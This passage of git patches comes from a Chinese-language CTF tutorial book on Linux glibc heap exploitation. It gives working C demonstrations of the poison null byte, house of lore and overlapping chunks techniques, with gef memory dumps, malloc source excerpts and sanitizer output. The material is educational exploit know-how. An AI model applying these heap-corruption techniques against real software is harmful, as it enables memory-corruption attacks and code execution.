0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603040: 0x0000000000000000 0x0000000000000000 +0x603050: 0x0000000000000000 0x0000000000000000 +0x603060: 0x0000000000000000 0x0000000000000000 +0x603070: 0x0000000000000000 0x0000000000000000 +0x603080: 0x0000000000000000 0x0000000000000000 +0x603090: 0x0000000000000000 0x0000000000000000 +0x6030a0: 0x0000000000000000 0x0000000000000000 +0x6030b0: 0x0000000000000000 0x0000000000000000 +0x6030c0: 0x0000000000000000 0x0000000000000000 +0x6030d0: 0x0000000000000000 0x0000000000000000 +0x6030e0: 0x0000000000000000 0x0000000000000000 +0x6030f0: 0x0000000000000000 0x0000000000000000 +0x603100: 0x0000000000000000 0x0000000000000000 +0x603110: 0x0000000000000000 0x0000000000000000 +0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603020, bk=0x603020 + → Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE) +``` + +最关键的一步,通过溢出漏洞覆写 chunk b 的数据: +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed] +0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603040: 0x0000000000000000 0x0000000000000000 +0x603050: 0x0000000000000000 0x0000000000000000 +0x603060: 0x0000000000000000 0x0000000000000000 +0x603070: 0x0000000000000000 0x0000000000000000 +0x603080: 0x0000000000000000 0x0000000000000000 +0x603090: 0x0000000000000000 0x0000000000000000 +0x6030a0: 0x0000000000000000 0x0000000000000000 +0x6030b0: 0x0000000000000000 0x0000000000000000 +0x6030c0: 0x0000000000000000 0x0000000000000000 +0x6030d0: 0x0000000000000000 0x0000000000000000 +0x6030e0: 0x0000000000000000 0x0000000000000000 +0x6030f0: 0x0000000000000000 0x0000000000000000 +0x603100: 0x0000000000000000 0x0000000000000000 +0x603110: 0x0000000000000000 0x0000000000000000 +0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603020, bk=0x603020 + → Chunk(addr=0x603030, size=0x100, flags=) +``` +这时,根据我们上一篇文字中讲到的计算方法: +- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100` +- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100` + +可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。 + +接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户: +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x4141414141414141 0x4141414141414141 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4141414141414141 0x4141414141414141 +0x6030d0: 0x4141414141414141 0x4141414141414141 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin +0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。 + +接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。 +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk +0x603030: 0x0000000000603100 0x00007ffff7dd1b78 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x4141414141414141 0x4141414141414141 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4141414141414141 0x4141414141414141 +0x6030d0: 0x4141414141414141 0x4141414141414141 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin +0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 +0x603130: 0x0000000000000110 0x0000000000000090 +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk: +```c + /* consolidate backward */ + if (!prev_inuse(p)) { + prevsize = p->prev_size; + size += prevsize; + p = chunk_at_offset(p, -((long) prevsize)); + unlink(av, p, bck, fwd); + } + + if (nextchunk != av->top) { + /* + Place the chunk in unsorted chunk list. Chunks are + not placed into regular bins until after they have + been given one chance to be used in malloc. + */ + [...] + } + + /* + If the chunk borders the current high end of memory, + consolidate into top + */ + + else { + size += nextsize; + set_head(p, size | PREV_INUSE); + av->top = p; + check_chunk(av, p); + } +``` + +接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。 +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d +0x603030: 0x4242424242424242 0x4242424242424242 +0x603040: 0x4242424242424242 0x4242424242424242 +0x603050: 0x4242424242424242 0x4242424242424242 +0x603060: 0x4242424242424242 0x4242424242424242 +0x603070: 0x4242424242424242 0x4242424242424242 +0x603080: 0x4242424242424242 0x4242424242424242 +0x603090: 0x4242424242424242 0x4242424242424242 +0x6030a0: 0x4242424242424242 0x4242424242424242 +0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4242424242424242 0x4242424242424242 +0x6030d0: 0x4242424242424242 0x4242424242424242 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins +0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 +0x603130: 0x0000000000000110 0x0000000000000090 +0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。 + +最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。 + +heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。 +``` +$ gcc -fsanitize=address -g poison_null_byte.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0x60200000eff0 +'real' size of 'a': 0x10 +b: 0x611000009f00 +c: 0x60c00000bf80 +================================================================= +==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990 +READ of size 8 at 0x611000009ef8 thread T0 + #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22 + #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978) + +0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000) +allocated by thread T0 here: + #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) + #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15 + #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) +``` #### house_of_lore diff --git a/src/Others/3.3.5_heap_exploit/poison_null_byte.c b/src/Others/3.3.5_heap_exploit/poison_null_byte.c new file mode 100644 index 0000000..b1edec4 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/poison_null_byte.c @@ -0,0 +1,68 @@ +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *c, *b1, *b2, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a); + fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size); + + b = (uint8_t*) malloc(0x100); + c = (uint8_t*) malloc(0x80); + fprintf(stderr, "b: %p\n", b); + fprintf(stderr, "c: %p\n", c); + + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + *(size_t*)(b+0xf0) = 0x100; + fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); + + // deal with tcache + // int *k[10], i; + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x100); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b); + uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2; + fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr); + + a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); + b1 = malloc(0x80); + memset(b1, 'A', 0x80); + fprintf(stderr, "We malloc 'b1': %p\n", b1); + fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr); + fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4)); + + b2 = malloc(0x40); + memset(b2, 'A', 0x40); + fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2); + + // deal with tcache + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b1); + free(c); + fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); + + d = malloc(0x110); + fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d); + + fprintf(stderr, "b2 content:%s\n", b2); + memset(d, 'B', 0xb0); + fprintf(stderr, "New b2 content:%s\n", b2); +} From e4e9127baa3dccb3638ba8115855c1404a89a3e3 Mon Sep 17 00:00:00 2001 From: skyel1u Date: Sun, 14 Jan 2018 14:15:44 +0800 Subject: [PATCH 07/13] modify .travis.yml --- .travis.yml | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 7ce7579..09c598f 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,2 +1,17 @@ -language: node_js -node_js: stable \ No newline at end of file +sudo: required +dist: xenial +before_install: +- unalias cp +- sudo apt-get update +- sudo apt-get -y install texlive-full +- sudo apt-get -y install fonts-roboto # install fonts +- wget https://noto-website-2.storage.googleapis.com/pkgs/NotoSansCJKsc-hinted.zip +- unzip NotoSansCJKsc-hinted.zip +- cp NotoSansCJKsc-Bold.otf ./CTF-All-In-One/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf +- cp NotoSansCJKsc-Regular.otf ./CTF-All-In-One/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf +- sudo fc-cache -fv +- sudo rm -rf *.otf *.zip + +script: +- cd tex +- xelatex -output-directory build ./main.tex \ No newline at end of file From 7a450288f9443c4ec25c28f133d8ec7e9e56bc44 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 14 Jan 2018 22:33:28 +0800 Subject: [PATCH 08/13] finish 3.3.6; add 3.3.7 --- README.md | 1 + SUMMARY.md | 1 + doc/3.3.6_heap_exploit_2.md | 559 +++++++++++++++++- doc/3.3.7_heap_exploit_3.md | 19 + doc/3.3_pwn.md | 1 + doc/3_topics.md | 6 +- src/Others/3.3.5_heap_exploit/house_of_lore.c | 47 ++ .../3.3.5_heap_exploit/overlapping_chunks.c | 39 ++ .../3.3.5_heap_exploit/overlapping_chunks_2.c | 50 ++ 9 files changed, 714 insertions(+), 9 deletions(-) create mode 100644 doc/3.3.7_heap_exploit_3.md create mode 100644 src/Others/3.3.5_heap_exploit/house_of_lore.c create mode 100644 src/Others/3.3.5_heap_exploit/overlapping_chunks.c create mode 100644 src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c diff --git a/README.md b/README.md index be2837b..96e4f8a 100644 --- a/README.md +++ b/README.md @@ -71,6 +71,7 @@ - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) - [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) + - [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md) - [3.4 Web](doc/3.4_web.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/SUMMARY.md b/SUMMARY.md index 657b240..be0460e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -62,6 +62,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) * [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) * [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) + * [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md) * [3.4 Web](doc/3.4_web.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md index f2846e4..0dfa294 100644 --- a/doc/3.3.6_heap_exploit_2.md +++ b/doc/3.3.6_heap_exploit_2.md @@ -5,14 +5,11 @@ - [house_of_lore](#house_of_lore) - [overlapping_chunks](#overlapping_chunks) - [overlapping_chunks_2](#overlapping_chunks_2) - - [house_of_force](#house_of_force) - - [unsorted_bin_attack](#unsorted_bin_attack) - - [house_of_einherjar](#house_of_einherjar) - - [house_of_orange](#house_of_orange) [下载文件](../src/Others/3.3.5_heap_exploit) +## how2heap #### poison_null_byte ```c #include @@ -359,15 +356,561 @@ allocated by thread T0 here: ``` #### house_of_lore +```c +#include +#include +#include +#include + +void jackpot(){ puts("Nice jump d00d"); exit(0); } + +int main() { + intptr_t *victim = malloc(0x80); + memset(victim, 'A', 0x80); + void *p5 = malloc(0x10); + memset(p5, 'A', 0x10); + intptr_t *victim_chunk = victim - 2; + fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim); + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[3] = {0}; + stack_buffer_1[0] = 0; + stack_buffer_1[2] = victim_chunk; + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2); + + free((void*)victim); + fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + void *p2 = malloc(0x100); + fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2); + fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + victim[1] = (intptr_t)stack_buffer_1; + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + void *p3 = malloc(0x40); + char *p4 = malloc(0x80); + memset(p4, 'A', 0x10); + fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4); + fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]); + + intptr_t sc = (intptr_t)jackpot; + memcpy((p4+40), &sc, 8); +} +``` +``` +$ gcc -g house_of_lore.c +$ ./a.out +Allocated the victim (small) chunk: 0x1b2e010 +stack_buffer_1: 0x7ffe5c570350 +stack_buffer_2: 0x7ffe5c570330 + +Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin +victim->fd: 0x7f239d4c9b78 +victim->bk: 0x7f239d4c9b78 + +Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0 +The victim chunk 0x1b2e010 will be inserted in front of the SmallBin +victim->fd: 0x7f239d4c9bf8 +victim->bk: 0x7f239d4c9bf8 + +Now emulating a vulnerability that can overwrite the victim->bk pointer +This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360 +The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8 + +Nice jump d00d +``` +在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。 + +首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +molloc 中对于 small bin 链表的检查是这样的: +```c + [...] + + else + { + bck = victim->bk; + if (__glibc_unlikely (bck->fd != victim)) + { + errstr = "malloc(): smallbin double linked list corrupted"; + goto errout; + } + set_inuse_bit_at_offset (victim, nb); + bin->bk = bck; + bck->fd = bin; + + [...] +``` + +接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] +0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603000, bk=0x603000 + → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) +``` + +这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins: +``` +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[8]: fw=0x603000, bk=0x603000 + → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) +``` + +接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] +0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2 +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的: +``` +HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL + +fd: -> +bk: <- +``` +fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。 + +接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样: +``` +HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL +``` +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3 +0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin +0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2 +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603050, bk=0x603050 + → Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE) +``` +最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样: +``` +HEAD(undefined) <-> fake chunk 2 <-> TAIL +``` +``` +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4 +0x7fffffffdc60: 0x4141414141414141 0x4141414141414141 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。 + +最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。 + +heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的: +``` +$ gcc -fsanitize=address -g house_of_lore.c +$ ./a.out +Allocated the victim (small) chunk: 0x60c00000bf80 +stack_buffer_1: 0x7ffd1fbc5cd0 +stack_buffer_2: 0x7ffd1fbc5c90 + +Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin +================================================================= +==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0 +READ of size 8 at 0x60c00000bf80 thread T0 + #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27 + #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38) +``` #### overlapping_chunks +```c +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4; + + p1 = malloc(0x90 - 8); + p2 = malloc(0x90 - 8); + p3 = malloc(0x80 - 8); + memset(p1, 'A', 0x90 - 8); + memset(p2, 'A', 0x90 - 8); + memset(p3, 'A', 0x80 - 8); + fprintf(stderr, "Now we allocate 3 chunks on the heap\n"); + fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3); + + free(p2); + fprintf(stderr, "Freeing the chunk p2\n"); + + int evil_chunk_size = 0x111; + int evil_region_size = 0x110 - 8; + *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2 + fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n"); + + p4 = malloc(evil_region_size); + fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size); + fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80); + + fprintf(stderr, 